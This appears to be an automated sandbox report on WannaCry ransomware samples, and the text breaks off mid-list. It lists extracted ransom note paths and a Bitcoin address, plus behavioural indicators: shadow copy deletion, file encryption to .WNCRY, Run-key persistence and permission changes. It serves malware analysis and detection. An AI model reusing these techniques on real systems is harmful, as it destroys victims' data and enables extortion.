Resubmissions
02-12-2019 09:09
191202-3peefk1fgj 1025-11-2019 09:33
191125-mlb76vzzln 013-11-2019 08:52
191113-bdf8dc3pq6 013-11-2019 07:11
191113-f1dft78f6s 013-11-2019 07:10
191113-591nb65hbx 030-10-2019 14:27
191030-9pe7klare6 0Analysis
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max time kernel
149s -
max time network
141s -
resource
win7v191014
Task
task1
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7v191014
Task
task2
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10v191014
Task
task3
Sample
fe9d72dd4b046bafdd144902ab570297629f83d06afb5a9ba7703382a29d588f.exe
Resource
win7v191014
Task
task4
Sample
fe9d72dd4b046bafdd144902ab570297629f83d06afb5a9ba7703382a29d588f.exe
Resource
win10v191014
General
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Target
test.zip
-
Sample
191030-9pe7klare6
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SHA256
72b228f51cf5a1b7600f0e0848145e4e54e54838977a5a5b1c85f69b64b92cf5
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\Admin\Desktop\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\Admin\Documents\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\Admin\AppData\Local\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\Admin\AppData\Roaming\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\Admin\Downloads\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\Admin\Music\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\Admin\Pictures\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\All Users\Microsoft\User Account Pictures\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\All Users\Microsoft\Windows\Caches\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\All Users\Microsoft\Windows\Ringtones\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\All Users\Microsoft\Windows NT\MSScan\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\Public\Music\Sample Music\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\Public\Pictures\Sample Pictures\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Extracted
C:\Users\Public\Videos\Sample Videos\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Signatures
-
Drops startup file 6 IoCs
description ioc pid Process File created (read-only) C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD7AE7.tmp 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD7AE7.tmp 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File deleted C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD7AE7.tmp 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created (read-only) C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD7B39.tmp 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD7B39.tmp 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File deleted C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD7B39.tmp 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Deletes shadow copies 2 TTPs 2 IoCs
pid Process 608 vssadmin.exe 1368 WMIC.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1928 @[email protected] -
Wannacry file encrypt 64 IoCs
description ioc pid Process File renamed C:\Users\Admin\Desktop\DisableReceive.ppt.WNCRYT => C:\Users\Admin\Desktop\DisableReceive.ppt.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Desktop\DisableReceive.ppt.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Desktop\StopUnregister.docx.WNCRYT => C:\Users\Admin\Desktop\StopUnregister.docx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Desktop\StopUnregister.docx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Desktop\CompareRedo.js.WNCRYT => C:\Users\Admin\Desktop\CompareRedo.js.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Desktop\CompareRedo.js.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Desktop\ConvertToHide.cmd.WNCRYT => C:\Users\Admin\Desktop\ConvertToHide.cmd.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Desktop\ConvertToHide.cmd.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Desktop\GroupSkip.m3u.WNCRYT => C:\Users\Admin\Desktop\GroupSkip.m3u.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Desktop\GroupSkip.m3u.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Desktop\GroupWait.wma.WNCRYT => C:\Users\Admin\Desktop\GroupWait.wma.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Desktop\GroupWait.wma.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Desktop\OutDismount.bmp.WNCRYT => C:\Users\Admin\Desktop\OutDismount.bmp.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Desktop\OutDismount.bmp.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Desktop\PopCompress.bmp.WNCRYT => C:\Users\Admin\Desktop\PopCompress.bmp.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Desktop\PopCompress.bmp.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Desktop\ResetDebug.gif.WNCRYT => C:\Users\Admin\Desktop\ResetDebug.gif.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Desktop\ResetDebug.gif.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Desktop\UndoShow.wma.WNCRYT => C:\Users\Admin\Desktop\UndoShow.wma.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Desktop\UndoShow.wma.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Desktop\UnprotectPop.mov.WNCRYT => C:\Users\Admin\Desktop\UnprotectPop.mov.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Desktop\UnprotectPop.mov.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\Are.docx.WNCRYT => C:\Users\Admin\Documents\Are.docx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\Are.docx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\ConvertSubmit.xls.WNCRYT => C:\Users\Admin\Documents\ConvertSubmit.xls.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\ConvertSubmit.xls.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\DenyExpand.pdf.WNCRYT => C:\Users\Admin\Documents\DenyExpand.pdf.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\DenyExpand.pdf.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\Files.docx.WNCRYT => C:\Users\Admin\Documents\Files.docx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\Files.docx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\LimitRead.ppt.WNCRYT => C:\Users\Admin\Documents\LimitRead.ppt.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\LimitRead.ppt.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\Opened.docx.WNCRYT => C:\Users\Admin\Documents\Opened.docx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\Opened.docx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\ReadDeny.csv.WNCRYT => C:\Users\Admin\Documents\ReadDeny.csv.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\ReadDeny.csv.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\Recently.docx.WNCRYT => C:\Users\Admin\Documents\Recently.docx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\Recently.docx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\SplitAssert.xls.WNCRYT => C:\Users\Admin\Documents\SplitAssert.xls.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\SplitAssert.xls.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\These.docx.WNCRYT => C:\Users\Admin\Documents\These.docx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\These.docx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\UnblockUnprotect.xlsx.WNCRYT => C:\Users\Admin\Documents\UnblockUnprotect.xlsx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\UnblockUnprotect.xlsx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\ExitCompress.ods.WNCRYT => C:\Users\Admin\Documents\ExitCompress.ods.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\ExitCompress.ods.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\ExportPush.dotx.WNCRYT => C:\Users\Admin\Documents\ExportPush.dotx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\ExportPush.dotx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\PopRevoke.potx.WNCRYT => C:\Users\Admin\Documents\PopRevoke.potx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\PopRevoke.potx.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\SaveSubmit.odp.WNCRYT => C:\Users\Admin\Documents\SaveSubmit.odp.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\SaveSubmit.odp.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\SearchSet.odp.WNCRYT => C:\Users\Admin\Documents\SearchSet.odp.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\SearchSet.odp.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\UninstallClear.ppsm.WNCRYT => C:\Users\Admin\Documents\UninstallClear.ppsm.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\UninstallClear.ppsm.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Documents\WaitSelect.dotm.WNCRYT => C:\Users\Admin\Documents\WaitSelect.dotm.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\WaitSelect.dotm.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRYT => C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.jpg.WNCRYT => C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.jpg.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.jpg.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Blue_Gradient.jpg.WNCRYT => C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Blue_Gradient.jpg.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Blue_Gradient.jpg.WNCRY 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2040 taskhsvc.exe -
Adds Run entry to start application 2 TTPs 1 IoCs
description ioc pid Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ftqqepmlkbmm513 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\"" 1108 reg.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1744 attrib.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 240 icacls.exe -
Loads dropped DLL 5 IoCs
pid Process 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 792 cscript.exe 1264 cmd.exe 1992 @[email protected] 2040 taskhsvc.exe -
Executes dropped EXE 16 IoCs
pid Process 2012 taskdl.exe 1992 @[email protected] 1856 @[email protected] 2040 taskhsvc.exe 1776 taskdl.exe 1572 taskse.exe 1928 @[email protected] 1112 taskdl.exe 1432 taskse.exe 524 @[email protected] 1524 taskdl.exe 524 taskse.exe 1432 @[email protected] 1524 taskdl.exe 1144 taskse.exe 1148 @[email protected] -
description ioc pid Process File opened for modification C:\Users\Admin\Desktop\DisableReceive.ppt 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Desktop\StopUnregister.docx 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\Are.docx 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\ConvertSubmit.xls 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\Files.docx 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\LimitRead.ppt 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\Opened.docx 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\Recently.docx 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\SplitAssert.xls 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\These.docx 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\UnblockUnprotect.xlsx 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\ExportPush.dotx 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\PopRevoke.potx 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\UninstallClear.ppsm 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Documents\WaitSelect.dotm 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\ImportOut.ppt 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\SubmitConvertTo.ppsm 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\SuspendEdit.xlt 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\UnlockConvertTo.potm 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\Built-In Building Blocks.dotx 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Music\ApproveTest.xlt 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Music\LimitGet.xlt 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Music\MeasureSearch.xltm 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Music\RemoveOut.pot 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Music\RestoreConvertTo.xltm 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc pid Process Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" 1928 @[email protected] -
Uses Volume Shadow Copy Service COM API 18 IoCs
description ioc pid Process Key opened \Registry\Machine\Software\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623} 608 vssadmin.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623} 608 vssadmin.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\TreatAs 608 vssadmin.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\Progid 608 vssadmin.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\ProgID 608 vssadmin.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\ProgID\ 608 vssadmin.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\ 608 vssadmin.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\InprocHandler32 608 vssadmin.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\InprocHandler 608 vssadmin.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623} 1276 vssvc.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623} 1276 vssvc.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\TreatAs 1276 vssvc.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\Progid 1276 vssvc.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\ProgID\ 1276 vssvc.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\ 1276 vssvc.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\InprocServer32 1276 vssvc.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\InprocHandler32 1276 vssvc.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\InprocHandler 1276 vssvc.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 1468 wrote to memory of 1744 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 26 PID 1468 wrote to memory of 240 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 28 PID 1468 wrote to memory of 2012 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 30 PID 1468 wrote to memory of 1948 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 31 PID 1948 wrote to memory of 792 1948 cmd.exe 33 PID 1468 wrote to memory of 1992 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 36 PID 1468 wrote to memory of 1264 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 37 PID 1264 wrote to memory of 1856 1264 cmd.exe 39 PID 1992 wrote to memory of 2040 1992 @[email protected] 40 PID 1468 wrote to memory of 1776 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 42 PID 1468 wrote to memory of 1572 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 43 PID 1468 wrote to memory of 1928 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 44 PID 1468 wrote to memory of 1816 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 45 PID 1856 wrote to memory of 1312 1856 @[email protected] 46 PID 1312 wrote to memory of 608 1312 cmd.exe 49 PID 1816 wrote to memory of 1108 1816 cmd.exe 50 PID 1312 wrote to memory of 1368 1312 cmd.exe 52 PID 1468 wrote to memory of 1112 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 54 PID 1468 wrote to memory of 1432 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 56 PID 1468 wrote to memory of 524 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 57 PID 1468 wrote to memory of 1524 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 58 PID 1468 wrote to memory of 524 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 59 PID 1468 wrote to memory of 1432 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 60 PID 1468 wrote to memory of 1524 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 63 PID 1468 wrote to memory of 1144 1468 